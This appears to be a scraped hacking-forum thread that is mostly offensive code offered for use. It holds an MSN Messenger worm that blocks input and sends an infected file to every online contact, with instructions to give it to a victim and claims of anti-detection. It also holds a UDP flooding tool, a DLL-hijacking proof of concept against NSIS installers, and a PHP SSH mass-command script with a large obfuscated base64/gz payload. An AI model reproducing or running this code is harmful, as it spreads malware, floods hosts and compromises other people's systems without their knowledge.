good job! } /* * This is fun, and you'll see it a lot in my programs * I only include headers where needed. Here I include * shlobj.h so I can use the DROPFILES Union Structure * It allows me to link an filename to virtual memory * directly without the need to allocate memory space * Also note, just because the include is all the way * out here doesn't mean it's not the preprocessor any * more. The way MASM interprets x86 binary files is it * would scan the file for pre-definte values before * scanning for virtual includes (#def, #ifdef). After * that is complete, it would look for the typecasts and * namespace defintions, then functions prototypes, then * finally it reads the code within your function header */ #include <shlobj.h> BOOL MSN_CopyFiletoCB(LPSTR cb_data, HWND hwnd) { char InfectedFile[MAX_PATH]; // MAX_PATH = 256 characters just windows standard int InfFileSize = NULL; // sizeof dropped object + data file, and its good to initialize always HANDLE hdData; LPDROPFILES lpDP; LPBYTE lpbData; memset(InfectedFile, 0, sizeof InfectedFile); // set 0 bytes of data to InfectedFilePath strcpy(InfectedFile, cb_data); // Copy file path passed from param(1) to InfectedFile if (OpenClipboard(hwnd) == FALSE) return FALSE; // again check if we can open clipboard if not exit EmptyClipboard(); InfFileSize = sizeof DROPFILES + sizeof InfectedFile; // set the file size accordingly hdData = GlobalAlloc(GHND, InfFileSize); // The filesize is set GMEM_MOVEABLE | GMEM_ZEROPOINT lpDP = (LPDROPFILES)::GlobalLock (hdData); // We need to use data value, dont allow interaction lpDP->pFiles = sizeof DROPFILES; lpDP->fWide = FALSE; lpbData = (LPBYTE)lpDP + sizeof DROPFILES; // lpDP is the denoted drop file structure add to data CopyMemory (lpbData, InfectedFile, sizeof InfectedFile); // Copy our data to the infected file // by providing it a size == to sizeof(infectedfile) GlobalUnlock (hdData); // Okay, we're done with the data set, we can now use it SetClipboardData (CF_HDROP, hdData); // Finally set the clipboard data associated it with file CloseClipboard (); // close the clipboard since we are no longer using it return ERROR_SUCCESS; // return 0x1, this is satisfaction for our compiler } int MSN_CloseActiveWindow() { HWND msn = NULL; // initiate it or compiler complains for (int i=0; // initialize 'i' variable in the loop (msn = FindWindow // declaring header window handler to FindWindow API hook (TEXT("IMWindowClass"), // We are looking for an active window called 'IMWindowClass' NULL)) != NULL; i++) // keep going until we find it, there should only be two active { SendMessage(msn,WM_CLOSE,(LPARAM)0,(WPARAM)0); // once the window is found, close it } return EXIT_SUCCESS; // exit, same as earlier, except different circumstance, same value though } int MSN_StartFileSpread(LPSTR spread_file, LPSTR spread_msg) { LONG IMW; BSTR cname; long ICS, i; HRESULT res; VARIANT vtu; MISTATUS mIS; int counter = NULL; IMSNMessenger3* imsnCall = NULL; IDispatch* getID = NULL; IDispatch* dPCS = NULL; IDispatch* dPC = NULL; IMSNMessengerContacts* pIMCS = NULL; IMSNMessengerContact* pIMC = NULL; IMSNMessengerWindow* pIMW = NULL; CoInitialize(0); // Call the Init thread from MSN header lib res = CoCreateInstance(SID_MSGPT, // Create a passive thread NULL, CLSCTX_ALL, RID_MSNQUERY, // to look for online users (void*)&imsnCall); // in the victims friends list and save if (FAILED(res)) return -1; // if msn query fails (i.e. no users are online) then exit file spread imsnCall->get_MyContacts(&dPCS); // Compose list of online contants into list denoted by dPCS res = dPCS->QueryInterface (__uuidof(pIMCS), (LPVOID*)&pIMCS); if (FAILED(res)) return -1; // If list confirmation query fails and list is not found exit res = pIMCS->get_Count(&ICS); // get number of contacts in the online list if (FAILED(res)) return -1; // if we failed to get number of contacts, the exit BlockInput(true); // This is a fun switch that blocks input from the user (keyboard+mouse) for (i = 0; i < ICS; i++) // perform a for loop going through ICS (each person in contact list) { getID = NULL; // victim id = 0 res = pIMCS->raw_Item(i, &dPCS); // load contact list into current input frame (dPCS) if (FAILED(res)) continue; // if it fails, we don't really care, it works anyways res = dPC->QueryInterface(__uuidof(pIMC),(LPVOID*)&pIMC); // input frame focus on current user if (SUCCEEDED(res)) // if the input frame is set then perform loop to load file { res = pIMC->get_Status(&mIS); // is the user online or offline when we message them? if (FAILED(res) || mIS == MISTATUS_OFFLINE) // if we cant get status or user offline->exit { pIMC->Release(); // clear current contact list dPC->Release(); // refresh and try again continue; // we can move on to next query (flag 1), 1 more and worm will exit } pIMC->get_SigninName(&cname); // the following line inherits this function VariantInit(&vtu); // create a new thread to check for users active in chat res = imsnCall->raw_InstantMessage(vtu,&getID); // check if contact is blocked or not if (FAILED(res)) // if the contact is blocked which is denoted by a -1 (FAILED) { pIMC->Release(); // clear contact list dPC->Release(); // refresh and try again continue; // even if it is blocked, we can move on (flag 2), worm spreader now exits } // if both flags were marked then something is wrong (anti-debug) possible analysis res = getID->QueryInterface(RID_MSNMSG_Window, (void*)&pIMW); // Open chat with our victim if (SUCCEEDED(res)) // If it successed then continue, if not, well, no point then... quit { pIMW->get_HWND(&IMW); // Gets current state of the window (error checking is it active?) SetForegroundWindow((HWND) IMW); // if not active (passed from previous call) now it is SetFocus((HWND) IMW); // Set the mouse focus on the chat box inside the current window ShowWindow((HWND) IMW, 0); // Open window in physical memory, now we interact with it if (MSN_CopyDataToCB(spread_msg,(HWND)IMW)&0x1) // &0x1 checks if function executes {// Now that we opened a chat session we can send our payload (message in this case) keybd_event(VK_CONTROL,NULL,KEYEVENTF_EXTENDEDKEY,NULL); // Press and hold ctrl keybd_event(VkKeyScan('V'),NULL,NULL,NULL);// Look for the 'v' key keybd_event(VK_CONTROL,0xFF45,KEYEVENTF_EXTENDEDKEY,NULL); // Insert our data keybd_event(VK_RETURN,NULL,NULL,NULL); // hit the enter key }// these keyboard events will paste the data pased from "spreadmessage" into chat if (MSN_CopyFiletoCB(spread_file,(HWND)IMW)&0x1) // same routine, in this case it { // it loads a file to the chat session (file upload) no need for RETURN key keybd_event(VK_CONTROL,NULL,KEYEVENTF_EXTENDEDKEY,NULL); keybd_event(VkKeyScan('V'),NULL,NULL,NULL); keybd_event(VK_CONTROL,0xFF45,KEYEVENTF_EXTENDEDKEY,NULL); }// The function class already processes the file upload routine as defined previously counter++; // +1 successfull payload sent, increase return bits for the end } pIMC->Release(); // clear the contact list dPC->Release(); // refresh and try again }// unless the current contact list buffer is at the max (for-loop is finished) } imsnCall->Release(); // clear the composed contact list, refresh active buffer BlockInput(false); // the victim can now interact with his computer once again pIMCS->Release(); // clear the value of number of contacts in victims list dPCS->Release() ; // clear all remaining contact from virtual layer buffer CoUninitialize(); // Uninitialize the init call for the MSN messenger API // We now uninitialzed the API since our worm has finished its task return counter; // return the number of bits equal to victims queried } Instructions: You simply need to link the MSN API binary (as commented in the code), and compile it with MSVS2012 providing the following linker options: _CRT_SECURE_NO_WARNINGS _OPTIMIZE_GSY_SECURE _HEADER_NO_NODE_INC Then you give it to your victim. It's very quiet, and works nicely in the background without the victim's knowledge. The payload is only 7.6kb and includes 2 anti-debugging/anti-detect routines. CREDITS: BugTrack
  13. #include <stdio.h> #include <sys/param.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <stdarg.h> #define JENIS_PELURU "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" #define UKURAN_PELURU 45 int echo_connect(char *, short); int echo_connect(char *server, short port) { struct sockaddr_in sin; struct hostent *hp; int thesock; printf("\n"); printf("l33nux..!!!! Tembaaaak %s ke port %d\n", server, port); hp = gethostbyname(server); if (hp==NULL) { printf("Di %s gak ada sasaran, Boss!!\n",server); printf("\n"); exit(0); } bzero((char*) &sin, sizeof(sin)); bcopy(hp->h_addr, (char *) &sin.sin_addr, hp->h_length); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(port); sin.sin_family = hp->h_addrtype; sin.sin_port = htons(port); thesock = socket(AF_INET, SOCK_DGRAM, 0); connect(thesock,(struct sockaddr *) &sin, sizeof(sin)); return thesock; } main(int argc, char **argv) { int s; if(argc != 3) { printf("\n"); printf("Kirim Paket ke IP orang\n\n"); printf("Cara Pake : $ tembak hostname.orang port \n\n"); exit(0); } s=echo_connect(argv[1], atoi(argv[2])); for(;;) { send(s, JENIS_PELURU, UKURAN_PELURU, 0); } }
  14. Scuzele mele. Acum invat cum se foloseste platforma IPB. Editez imediat.
  15. without rc http://ringlayer.net/repo/xingyiquan.tar.gz with rc http://ringlayer.net/repo/xingyiquan-rc.tar.gz
  16. // dllmain.cpp : Defines the entry point for the DLL application. #include "stdafx.h" DWORD go(void); #define EX __declspec (dllexport) EX void __cdecl DllInstall() { go(); } EX void __cdecl DllRegisterServer() { go(); } EX void __cdecl DllUnregisterServer() { go(); } EX void __cdecl RunDLLW() { go(); } STARTUPINFOA si; PROCESS_INFORMATION pi; BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { RtlSecureZeroMemory(&si, sizeof(STARTUPINFOA)); RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: // MessageBox(0, L"Hello", L"World", MB_OK); CreateProcessA("C:\\windows\\system32\\calc.exe", 0, 0, 0, 0, 0, 0, 0, &si, &pi); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } DWORD go(void) { //MessageBox(0, L"Hello", L"World", MB_OK); RtlSecureZeroMemory(&si, sizeof(STARTUPINFOA)); RtlSecureZeroMemory(&pi, sizeof(PROCESS_INFORMATION)); CreateProcessA("C:\\windows\\system32\\calc.exe", 0, 0, 0, 0, 0, 0, 0, &si, &pi); ExitProcess(0); return 0; } 1. Compile code to a DLL 2. Put the DLL in the same folder as an old NSIS installer, double click the installer, accept the prompt for admin rights The dll gets loaded at the same time. One thing to remember when compiling this DLL. The entry point must point to DllMain();
  17. <?php $ssh_user = "root"; $ssh_pass = ""; $cmd_to_run = ""; $ip_file = "ipshits.txt"; // begin base64/gz blobs $biggaysshlib = "7b0Jmxu3sSj6VyhnYg5tjtIr2dRY8uVq60bbleTk5CkKPy49Eq0ZckxypFFind/+asHe6CZnkeWcEzmRmt1AoVAoVBWAqsI8P1ks88P64+7LH8e9hz88fPJy+MPw+fjx0ycvf3j6ePj8b/VmLWgc1+YlBXvd58+HL19CqbCi1LOnfx0+fzqKoFhUUaz/qPvixcM+lIorSj15+mQIRZKKIn/pPvppuAPzFw9/eLID7b90nz/s9h7tgjTovuzugPT46WA4xh/Pn3Qf7VO218fXO+hFJX94/GwHwR53/2s8gJ8vUxyA89WHw6hZS6NGRZU/d593X774qdcd9396+XQ0QkRSKD87nWw2tceT7dtxb/Hm4XKbv8nXtX/V3k/WtYP3k9OL/JifF5vxMn8z2S7e57X7tZPJ6UZ+eZMv8/Vku1rD+/rZdryeLOd18e18nc8Wm8VqCd+OQvFyutieTTbvHDBv88vj2snFcrbF4g5GhweXUDxoQuXJBhEIgwZguTipHdbucJ/nfnLWGzUsufmw2M7e1g6364scf88QTH65zZeI3fh0NZkjhDdn5/XGvcrxAcqVDRvQc7rOJ++Oy8BPZ2fQr+u2wCykGwEYk4vT7fWASd4FcJ/gP0kfb+GaolhZz+/RUACPrPPN6mI9y2HAGrWvv669ybfq3Xj78Zw/3AdOgVq1BY9uHeEfbN8uNkcPiOdggA+AG9b59mK9RASdjzBM48VysT0MHJJX0O2eC6Qe1IukdMpM1uvJx0OiEXYwPzvffsQeIMIaO0k8Yk5Fq6MobTFdVus5VHoVvAaS1ILLjHiXOPq/sZuiTXuGIaMibAJFkG48RAebxRuciJ72vq/Vj+q1e7V6/biU1lz9LtDtsg7/TBfLCOYsUeMqg3CaIw6Hm+0anogbvgVhR4QZ8Z/+MRMHiozPJ0i6JlVr1mZv1zDkzdqLl6CCuoPxo+HoJTR+ArLn8GCBEgKqLmrfUXF8/PY+qJUic8E8vDg9NF82a/Uk6iSdVjvqtIR6KFSazOdOpeAyDOhP7ZuaGOWDxWvs0uGh+g2/Qnj33Xe1sNWo/VqzvkT8JcMP5vv4daPBaDDrFQfN0y8cxLvWS6zu8viHt4vT3BwBF9Kr15pLxtOP23wTwUw9VG9gkIEjx+vN28XJloYnajWEICnHFb94WffO/R0iSqPn1UIoHmBmapxxnJb5h4ISqR+F9UZxYKl2kV7EyyFMPJ7NoZjMrIEe1AIUbzSrSZwd1UvR5KnMLH0xBbITyUIiGL0FLfkGpOT56QQEZ/0P/zj8/l5w2fj+8FX3aDQ5OgmOOq+/adz95g/Al/WDEP6GMTsuUckaxe8YRZij83wm5c+D+8hqJYgelOItJ/t/n09m7w7rP37DSDSOb0N1OKPnyiUWN4DGPSl6DKFZlFIIrHFcyTD7Cyvs+2HNkFVf10Lo0veoPCRSjA13wcd1NsnQ7mr5eLBEJt+12LN2z+HWPbqpddtv2Bt7RhFTFkTXZ5uzgZqzwb2SGXb0/auSaXUL7FzCmZc3MFZQWi+Wbxo0PkWjpXy8kHSg7LaL89NFvt6rkGv+CBWHuogG8lZknqncLVvgsAW61NRNf6y1m2j6O0q/RItJpiL2EH0Ck033rnHslipjPanvQPdFpAUPja4AQu2G4P9GsafthsdsrWLaSPJs9NupmVdB6FUs1eMTF8Yn8Y3PAZQhK/uyXjZY55P11sY24G0ArHv3PjD4DJUOKB/SYFjcR+tkl5EkMGFpCj9Mk8E78FCmWcugn2zR75A+fl3KRYyXxXmL9pJa8W5XPeKxg+2H1WY8W50Bt57ly62U59KEcr9TD/HnZL3YrAz7nt/lXtZuyLlsVgTzWa9rJBS9gkde/J74Angon2wPpTV+WCgKBi+YGg/Qruc1hWGiGS1+RxB3KICw0ajd0306p+XYAc1HTWZJPNEtsU6jQsxqsjzjLPmFDG765C7O7PLIN/QGK0r6FDry36LWPaPwrayrUYXMzs6dtYexCG78RoOHTQIMQIBwmkw3Fk4ALmwZ8lXbGmSUueYGlRLaS1cyDQxhy+3oFEsCJbCwUtNTGHpUsoJs1o4OveWJ9U5B855JsFy/sY8GNwSSkBv3adPhMw6TWgfiMn52sV6z/LAXhDzv+aOjVnQVKV7FG6lHhByfzpD5ja/QLVysIv6mGoZ19mpuFgtb7XY7Clt15BKJLfaRa0B3cIl8136VWW9oMkrJqxGezuaL996m5Cr6alwkJtmts5GAq/iIBdGd2epCr7B5Mn1GPlnnG1BAxiJfmzjWPoAHq9oRbmYcu+a7FMx6K0bW1ZoS60a0QfOAdmqOjg4WiluMfYVTsa/AWNLmwrGJs3j6tWZNeacXulnakdFGDNdulG4mfdqD6NionCESy6NDH+3bgvYlQyM+lyCDwpHBH9uWwo+471ZhJ4geqC06brjMwmA2NA2RxbbaDsHNej32fnxISwMgIY6MPTqYVflyzjYmDQlAszYAM7mLB8V4F4/3LBDcXW2aglEIPTwUGxxyPOAnNLAA+62BVI8jIZ0Kw0xyEBG5Y2Ny1aYABLXk9KZd1u5ecogQAKZySxmShEugQnGG7wUtFQ/NY49rmx8CWUPxW9LglvQgbcUrykiFa+3Oim7uISwFsBIBVbTL9YbJAagQsOeqVsmiRMUSWQuqul74eIQhYny62GyVwQKqsqEtWmxonh/KBi3AkisXm00O9aGiFHVoxX5fs9+Q2G/6+RF1qZYwugUxBFK2MfUNy1oIUZoqur9M+IqFmC7KazHdtJwUHnHHI2dYFWVjY+6TuUaPd9iLWKqC5qGmKKZeqULm6aY7UVUhfdopiogXhllL9q/R4/HYmsS2wNCfnDqz09Uy91SQnG8V3pzm+fmhsZfgkeh0Vkp22nqjOL0OBSUzuIRBSapOgAk2VqXThLoq5PKIJQCdSuqbKR7ou9OdD5N3+cX5Ti7RfW3ihv6tLexFQZiNz6Hrq7MfZGcLJLIpV+y7AvRMfiqUFQctqvd0KvXxVqT91WYYLQELR2IHH7VysBlxvFytzyani3/mapd+n33Qq6DkO6NTCPFCYCdOBdXh62SBM6x28NGUfabwLusIF3BY8ZXXEea1UdzDnK98njGvq3ouxLk9qajXl2PZpUurq+r1R1vCX443AFGb/6I+dvCj8+mj+sS7yuKzvZHBQqfmJUPt/gMDE1+nRQlFIOphDrqem/x4vSYvdzZ56TRJfirmWxCUFl7Sl0XCRpxk12pXwE34K5SjRpZOzcvlYHlu15PZ1hh0Km0ON68Ajqv4zIAodyB3AhS2r0mheyaBirrSZJnvJG/xZi8zmfhobDPIRhUPGIU/Fgpf6sIH+lAc/QtmQOSP/Gwvan5Gv6Rj/Pc7hsxrlwg/wT+M3cWZAf3Vwc+va9/AwicRXgTfGp8Wr/Hnx/KSH+2ShJeBH7X1wHO2rr3HjhVCXOl7/n1UVQdHBgoZu3wL3IQ+pJp/0hiqHR7Czy52ZHTkG7XNd6B7et8Z6Z9pQugxdqjokKqaHqppB0GXBhpF2eNvvz1YKJSoNGJDTGDDwkZiXstyLWHX6MYChANf1DvDwNkpgMT0MjaUGlcQRkrC6wn/pawHwOD3ZT1UIHRt60GT+X+dCeFRKf+2dsSdfxdDwmu93lilX1Yo44P54uSkUu/vMerHwpuXgX0mm4eaOLxjUhCP16nJ73Dwfv2VWKj4lRZoFnmVhaCNNsPGUNabUmUm2Pu1OxZFr8fvn/Y1RpR5czNz5KjcHDmy1e9Rifr9jiwon83x7W3ZHCbCe1kdZuf9dodpXRYtjyt13cbOJcEVTY47JjjD0LAbMUyRT3jmYtW5ptEh2fM6Zod2yrn8QmZH0fn34PKLmh0VCF3b7NBk3m12XFrtOmbH+Xo1v5hV2R2ixN6Ghyp/K5aHgOaYHgaXXdn0OM2Xb7ZvS4Sx+9E2P2hOiiKgS+7oCp9Jo+0J8myBblcCl6buRwPkUgTScFe8kPbTGZunM+N1/ubidLJ+7KG2JIzhvmPXfTdZT7ZgIk68tfYTLa79YzPBHtj9liNumXCi0Hc1u8JNzItr9uKTmpFj5/BkTHhLH4OgaTTyrcFDvk2Rn8VuCdkfshbpqJ993RQGhdKkgXcJL7U5VXb0vtUFocyt8o76Z2Va7L20A0Tb2qoK5an0R7M3rHH93Qd60bnPwk+HJv79zqKGg8m715YJZpOoZJvjCjR6d30avTNppI9mrFL2XKyc7UgDNKxQTDnMS05BTZdr6a1c8qFxtUuAFc/F9pEO7DsbytOv8eZ0MbPWNWdkQQalBQJZ5mMByEcbyMegtIAC8s/ImJsmQUPEOaQiQUkRBPKRuOCfYWF1GOqFIRa01oRu4Y9G4Y9mYQuu0fQ/wxJToFlpKJS1/89It//P0vb11sM/DXwrmjMBRWoozvL1m/yQn08Wp6coBFFfHpyhYYYYRNx0CdRKQBpIWEGDy4+VFKggrucbWVN+qJcfyyF5vhEkZwjkBCsF5WwP/XLB2wQe3yUpBW5qoKBT2QvZzh62iFHWRtYEpIQWKXPhEyFe+rX+Afd1p4LFroquCzvIXdifTS7H6BB/qVW59sxjFXXfKGUoqQVJjwUFIhpzy8QMlEpEWkWrmG9q5ib1XmqmCHE/NaNVJwdNKv0Z4S9WooW++dSojQBp0cjoyM92r66qRQvQ91aiDmGwYT2cGCXqVapmrRKdWmBM0qY2e6DGvJnCLE6BEv24Qzvup9bUTKzQa6rMVRWbX1dJcJXy+D86CWh5+Vl0UgHq5WWFTrq8mk663EcnSbe7WzoR++VitV2w82z5oc3ZBAVAhdchuwlKWHqvRlVVDta8vwWdGP+yrjhZk0ElGNF/6AHznfBGcr+YTj/uNw5IoZAQ1VJxh8KzfyP71Wj6z5VEM/sFXdwSxV1i6wCDqsNBH71ECETlUBTqOWEZXrAlg6BgaxiGV7HGNyRTyMb/VseKdzrksk1z6H1sWrq+/oJc3DBmPc8/+OfNYltGNfRyPf6MI33wi38oBVXWdq1dLqW8ReU4DN4qnTdbgDoDqZevV3JPSrgG4ytxbIWP5WQQIaKuszQtEj4aLy7HMonIpesD+VF9cnvrlC0WsVyw+SjxUgcwHnz0HA5ebYtdeGmX+X/Lbt25L7uxe4ho4903PP54S2PvT542Wm5f1L7KC4P0MQ7P95mb/ma9/CPWNgdnm6loywr3+WjF+kiznIJyeIvrziFVxYiNSJnFYIRTEbY+4fN339Ge2ScaSxXUw2WOqVXPS7VA+lqhQVwHZrKxr2kiSLWszx+dz3sIClnEaN6RC75CFbukiNCRxOxb2qqS01S4+5++3aDwe7th3pYzlthqHwaH+lWSr+qrOCwyOmu7PUNl4xv8st3ox9asElbknrRoWJtrIjrCnu0c5IeOWjQfgK9swr9yQL4WEeEIxPC1Uae7VazzyVhcc1EZn6aHzghUuzTIcmmy5wcQx6sPStDUxGAaR60N9m/Ui857uP4plOPwOrssvSsvH3nKR1S+xlPKRU7vIDP9mrVD2d0HRPTv3SIKA4L4i9p/oLZ0EeWBwy0KC0RhQNEp/6oVhlPAK5xVSyfNivJi3e00WnBhEJ+Qsn+y8Kl5ZoMQsB91rabdB558BbugDE09WbmacTAreNScbwKYwjmipY6Fy6WFi5pDBFzNIoDZEMP5L2TgMuxuuzNAzcn854vNtko+CmiNYz/pqxovS/DxsQDMlWrloosRbppFGlVChbncIDabWd8Zwc87GvpYbIWDDLiByvH6VBRqY1umkcJdu7q11GT1GD9Fq+SjD+Q1TZUd5m1h69VeFPCv5bypovHcIzjtKal2YAtxyRKK3jb1BCXX7nu28lCkyNpiU5Tbc1yOxNahGcHn3V080nGH35igPJSU8XjGnqJ2q1nNn60+HB7gSmlJPVgWYs5gjIWlTY5t1jeDnZcNOzWHrA0LxiUw6lTl2TjId6UZUZOCOC1XtZ1dNED+4fJ9vt5Q6zJGiorcL54NqLxv1W4xBNagye1mK9vf3eh89cENZ0VKyMflF3U9QuSKGxQe9PZ2RDLPRHJlbt1kzbZvo6o5NDtk9ZrabZAJRTTbyd2+5c0aia7TPbUpLPac7bDqIsJWVPCeCFcUEY2fLuaL5Zu/kj0h5knR8UbkhJZJgzRPoAXFSV3+dVtt6UTVQgsUcnsKAW5MG3nC5SCH4tgcFxHEbxVoHLOrrJ2o5gh/r89XGxmcXQ/rUlH8/O39WoQ5ytCtQ2R0+kSr6dWcNvuXxnYJvjMU58/iXVSVhw0+ezcu+INaMxMsTIkVUqYd0RTXu2Oxvz4Z9QwBVqscBZD6pX5/0Lp5dOMHHxXBy/ThyjFCdM5UA4gYfY/E97DwPbLzghAxrKRvhSIy5MGwG0NTG1GPHBBhpdlZ0oBpzcm5LEIkzGL7zWdfbAXI7ccot5W6t6vbms85dvdOROwqKVm5T8GLDAzmfpPr+O82prxr1jJgmiiBv1rtuFkL2x3MV35gnG/n2vDOC75nuWWwwk+RKETOUHVEKqu+tkw4DbHEdmOAxfwdGjClhIlaZTk6TJylaGCghfN4QSbhox+a/X3gEJEkEhpehhizCrAsMyA2WbYB0KUm7VKTFrggN4LzG+rVq9AMxDyHtRcomef5/GKWu7p+qf2QkAM0iOh1QU1JCKoRb30xWUL0NDi0CHREO2Eenzr2YSxzVRDNCUeA1x4vZwcxLIl7Fk2jMz5UPxXWCqE9n/0EVHZ4AaAnFXWunP50ynrBTFpFFVq06V3eoAwQEJslhguFQ3dSdA/ENPlZoyItNYkQLm9+fs0WjaHeGPA70bF35Ijx87F2vbh2B3zpqNxRVbXFYIqMkPJUi3HnrD/QSdxubfg5c/HtfS4gdPa1LLb1zj6VZ/aQdS9doStTyMsXJZa+VMv3XHVxtlpu36zO8vVHAbxstSCMuXtF5441vNnuqC01971dG9DWphIlFV7v2rA2yi+Nc3vq3Dw6LEdKXDPy+XEqWOUEUSpx3HKzx14Jai/aeO+JHobLssSgrvBxWYc9euAHLkiqDLmCjY6AH3v45lPRU9bTtD/ewsTy461hqrnb8NaVLewIf7k03FWLbiFODyudccr6bou6y8/e653j5Cwt6dSlbNzE1Lq15TmI4g+LTT6eLOe01HJ2TwtelULqEHqm+TmbzN7qdmplV/lUxsvgRT5GATq9OCtYo2diXSsXlrhvzv5UKkjmXzc6b3MEz7IgWs5uIFpEbOCZDihJy33deza5dUjswbv8o3bTyyfr2dtDdAXjYXhVRv3XlHpW7ikSnRiQoOWu2sc7G+C7KM6O95Dtxs7/qXlmaX4qPZI404EtBjEpysACT/iEV1QdcnwPLrClsGx8Dy7ww4XG/IzXxqF+46cW8jlTSsyW+kWdIqWgvfpZWMdHgNUwDMX8UszKKog4mK9FoPHFdsWeGRWUQkJt5q6755JdPRkCTUFvGaMAA7EdteGdx/vSWKlv5lrQn4WG6+TS9So8NYvu5X5pT7Gv2YVp1xQr1yNnlsqyCVFRy1j1VpKC96xkBy+K8RxWi5UEcEdY+DLs2/aZ0XZxhaA0w7J6APYdJXEUWkhDIM5USglb8l16k57pNEX3lWNkaV9uq7FiVsS9YipcLryU+0OfW68uC3p1aevVS6VXl59Hr17eqsleqRmXvxvNuPzcmtEesRurQjkkQlCUqsJdis4dLK9oI+a/ntTcqRZvIlU1UkKc2ptQBvqBp3BJDx7h3ojbjaXxaIMx0lC6knJPsVsRr6/PfWcrEESz7Wq92wRz++lU1ezmCl/hCm2jrmp7VdBOibpbxN8ClT6bylqamfU+s8Za3lBjOfx7hXQNTbzNZXX+b5i14T9JAH5vSQBEup/vDJaqSgvw6fMkBqDToXcSi3+/NAFExXdVVHQSB1wz/5AF9FZShRT3zz+/zfxvYWBe7mWMyQ1LeT7faodBlrWSQ7k9+85eF7jHbhVJ8vynau+MSSanRaXSkcHMOw27YpYxD88fls6fhsdEczNNSMdIEUKyLBiRO3zqFw19OVKlObTXutrU39X1XAN1l+Xwbl87c3mbS+wC0OsaJhWHDme+TItXPHMwRU61CXlmhI/89rLo97UNfBNZJPbdcEPwbHKpNyZ0ehn9eKauGmRqqJuolyLY86P96aPx6cz+dGZ8muwh8koXSHy07ZWHS488nJSJQjasLqVI/AgvblXq4b9fSNQaufrLxO6lcP+h0VaCcC9JfdYwVpMTt9nJ7WxjlsJxxW95e6F7JaYWvbuR9Ox3Trxy+AqgTBE82Uv6+g+nd+8YFqNZdmhTZZU05P2nv5VXgHMOWxBXlyoe9IhugLWU/SXFX8bmO6kZcdKg/xOUUREFDXHDVlX5QwEUk38UKpbWdKralfVL/WgCOiHncxsNfmfg3jTnfNNaq9hqnUmiI8jM4AgjvuDLZB1dIAKFoPai9/+hU9nQq9+Lp3uVXt9mPDi0sFrmdogpRSvtEROONUu+hlqRuiEh9uWzntAo485vNxZEBm1YsSByiGnlls8NglSSo8T1QJ17cg34mS/n+fyH/uCQQ0SIUgdvZnP4+MsFwD9EOjR84ScqdqvYW4rIFG7AdGkbrqPce5l8lXZ0xE5hZQVNWQzv9Os2OF5SDnkZyAM/S3m54YTP1+pQoW7aNtVx6wdvcJ7XL69SZUNVPl6lCsq2/YJqLooXir13XHFRRdZDvHh1Ku9CO5ipp7n86tyg+l7fnXpHKttfdLYR9Bd4LyxHOUsupKPAe4GFvLaAlnIimfB7jLLkTD5W5Ym0W2YCPV/lSUnlqejcwVz0yFd5alf+dENOuLg6J0yuzglT5oRPIuOFGcLhS4vxpkJovvG5SMkg3TuHOgRdBM80KOX8R+eliCgyAjlDmTTB/P1GB4QIkXyhRJLA9b2bwmNSgfy04tus6lrEim8Tw1qaG89eQh1MjRIzt4RJSeG3fGFFmGk6qw+SokzQC5uA4j4AAWuiYH39dU3/1GOCQyULT+3CU/8A0lybCEXwUZIYS7sxs1jKGtup/fuT2bn33s69r+rc3MZ3Xtm5mV145u/cTAyS7txcDHKhczOnc3O3c2Q7XBha8b2x/JB+URrse7UAm5ivZ34Kz03PJ54R783vF5K/EU9jfePv0rTh27muEGzI6npv6H2lRIMuVAgv6ImzcQ2tCgW/07KR5gdUsUCQGbbb//N2TGYnk5h7g7wKqdsz0lWDUyrVvTeWlCsZoDoPllUmNEwqoc0FEsohu/Ju0U/l/v5GCqNbvo13VuiqmVVsN/XkFdE+opWlBSvsJdzsQiNz+XutK2OM9ElVF+KodVXh3her4Pe1EPjgKHRO/40q38NXKCLynBSyL9wpHKvazRcSW3uKf6+aBlTMq3lFfJm5balOvxwwDeu42Ny9VETk2LLATrlkbmZ6ShZSKNhpJwpReCIXjD6FvHPfOpW0aGMVfGCfXpZTRXFmYC9+xLrt8jeYdJdmZrvAEBn2nNFreVXDSMFgJeTw5Faz4kHsy2EpJlHfHGtdSYzfBK96O3/nfpWMqBlg9SXGPuWAl9cfimg/iuTEbZh2gxgDr5jGKEyx30b33OMGU1PcDv/gQS3GUMy0ZenofZql5AWH9aguYCGbemNBnFj0Xdf+GrS2ghm+1HU11Phnva7mND/Zmrc/9z5uc96aWS/evN2KJYX5XjmSoECSEbIIBsZS/qS67D3P8GU0Lv1uSiAgv5ApGoUwXNW4qkcvdlcsJYl37UfIfV2TwJET/WGJagWlO29cVyBHRIlj63p6z+18npNUrXZVJ/2nPQU/E6u+vF2q+PJrzTrO/U97hp3LCYFXW3+p+bBa/2c6fObp8KtnOlh99PB4s5Bjz+edoCaRfzpwvyomg1aftmlzy1PH6Bi9+vW2Js7ll5w5l/+ZOp996vzjP1PHnjr/uK2ps1xtDz2nSCYzgfk75qy2IuPHai3ysGCyRGMv+7+lw2xlaTSdJQ9CQbLxM5Xg9r7aToBfxKyUMYh+1IO6YYtSJkziMZG5gKDRptPFeo1Z/kQCFNmY6AeGW2W1bwrZiTKMt8k/yFoF2//IBixO5lSN7+x7avc9LaFdfpOpJ5hGZrxaUnoYcxGgWtpvIaCK02Lg2LpvAtpTKY/MFpt2F42hVXOcEZ7lC3W5IjXyJxjCW5vwBgl+rbkkKnAwCYYXZhLF32DbTeUd/rByUg1/EMfA8KDOqBdbXFFp1rUVCN0s4KgQkeKO4OGGAfXrBht5vkT75lKPGtAHTFfaqhMfC5ksP+2TTa0wnCjv/51Hs3jt6O2PZbGN2x7L01sby+crIG5uDqYtYA1NY7g6aLErY22sTRinUNV+zP099mPEfoibu1OdTvi9NcgpUdTkCkZf9K5LCXCrrLFHw5xOSpOSBwWvC3YDlQGxjqEOMpWVSR5Tu/FWFmg3dE5caIxNzaLr7qdajMFh3SJOmjibvXRLoV/f3jeK854rvv6j/ZrdQxSHuC4d5/K+L9sQLpUY2qSlf+30GV6dg0RROkZb1XY7pqKxzALVqjIur7Mz+L2LLa4r2Eiv3ZPf2A2dXh5f0+Kj2oVZ6c83YkzgI0MWmNumz4Goq7Mf8mW+nmwR5Tfy0djqVO/ojFr+sECtCQ4MxWIpb67gi9nMe+w4ZQCWMDPYijq+